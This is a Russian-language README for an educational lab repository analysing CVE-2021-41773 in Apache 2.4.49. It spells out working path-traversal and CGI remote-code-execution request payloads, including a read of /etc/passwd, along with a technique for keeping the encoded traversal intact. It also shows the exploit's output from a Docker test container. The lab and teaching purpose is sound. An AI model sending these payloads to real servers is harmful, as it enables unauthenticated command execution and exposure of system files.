
Комплексный анализ CVE-2021-41773 (Apache HTTP Server 2.4.49), включающий исследование уязвимости, контролируемую эксплуатацию в лабораторных условиях, разработку Proof-of-Concept, анализ первопричины и стратегии смягчения последствий для образовательных целей и целей защитного обеспечения безопасности.
Образовательный исследовательский проект. Все тесты проводились в изолированной Docker-лаборатории. Не используйте против систем, которые вам не принадлежат.
| Поле | Детали |
|---|---|
| ID CVE | CVE-2021-41773 |
| Затронутое ПО | Только Apache HTTP Server 2.4.49 |
| Тип уязвимости | Path Traversal → удалённое выполнение кода |
| Оценка CVSS | 9.8 (критическая) |
| Раскрыта | Октябрь 2021 |
| Исправлена в | Apache 2.4.51 |
Apache 2.4.49 некорректно нормализует URL-закодированные последовательности путей (%2e%2e) перед применением правил контроля доступа. Это позволяет атакующему выйти за пределы корневого каталога веб-сервера. Когда включён CGI, направление обхода на /bin/sh и передача shell-команд в теле POST-запроса приводит к неаутентифицированному удалённому выполнению кода.
cve-2021-41773-poc/
├── Dockerfile # Намеренно уязвимый лабораторный контейнер Apache 2.4.49
├── exploit.py # Python PoC — использует raw-сокеты для сохранения %2e-кодировки
├── SETUP.md # Пошаговое руководство по настройке лаборатории
├── README.md # Этот файл
└── report.pdf # Полный отчёт о разработке эксплойта
docker build -t apache-vuln-2449 .
docker run -d -p 8080:80 --name vuln-apache apache-vuln-2449
python3 exploit.py
==================================================
CVE-2021-41773 PoC — Lab Use Only
==================================================
[+] Target reachable — HTTP 200
[*] Path Traversal — Reading /etc/passwd
[*] Status: 403
[-] Blocked (403) — server restrictions in place
[*] RCE — Executing: id
[*] Status: 200
[+] OUTPUT:
uid=1(daemon) gid=1(daemon) groups=1(daemon)
[*] RCE — Executing: whoami
[*] Status: 200
[+] OUTPUT:
daemon
[*] RCE — Executing: hostname
[*] Status: 200
[+] OUTPUT:
e4ccca07bee7
См. SETUP.md с полными инструкциями по настройке и устранению неполадок.
Библиотека requests нормализует %2e → . перед отправкой, что ломает эксплойт (возвращает 400). Этот PoC использует raw-сокеты для отправки HTTP-запроса байт-в-байт, сохраняя закодированную последовательность обхода ровно в том виде, в котором Apache 2.4.49 должен её получить.
Payload для обхода пути:
GET /.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1
Payload для RCE:
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
...
echo Content-Type: text/plain; echo; id
Apache не декодирует %2e%2e перед проверками ACL, обрабатывает запрос, направляет его через CGI и выполняет тело POST-запроса как shell-команду.
Require all granted для /Abdur Rehman Siddiqui
Разработка эксплойта — Задание 3
Этот репозиторий предназначен только для образовательных целей. Автор не несёт ответственности за любое неправомерное использование данного материала.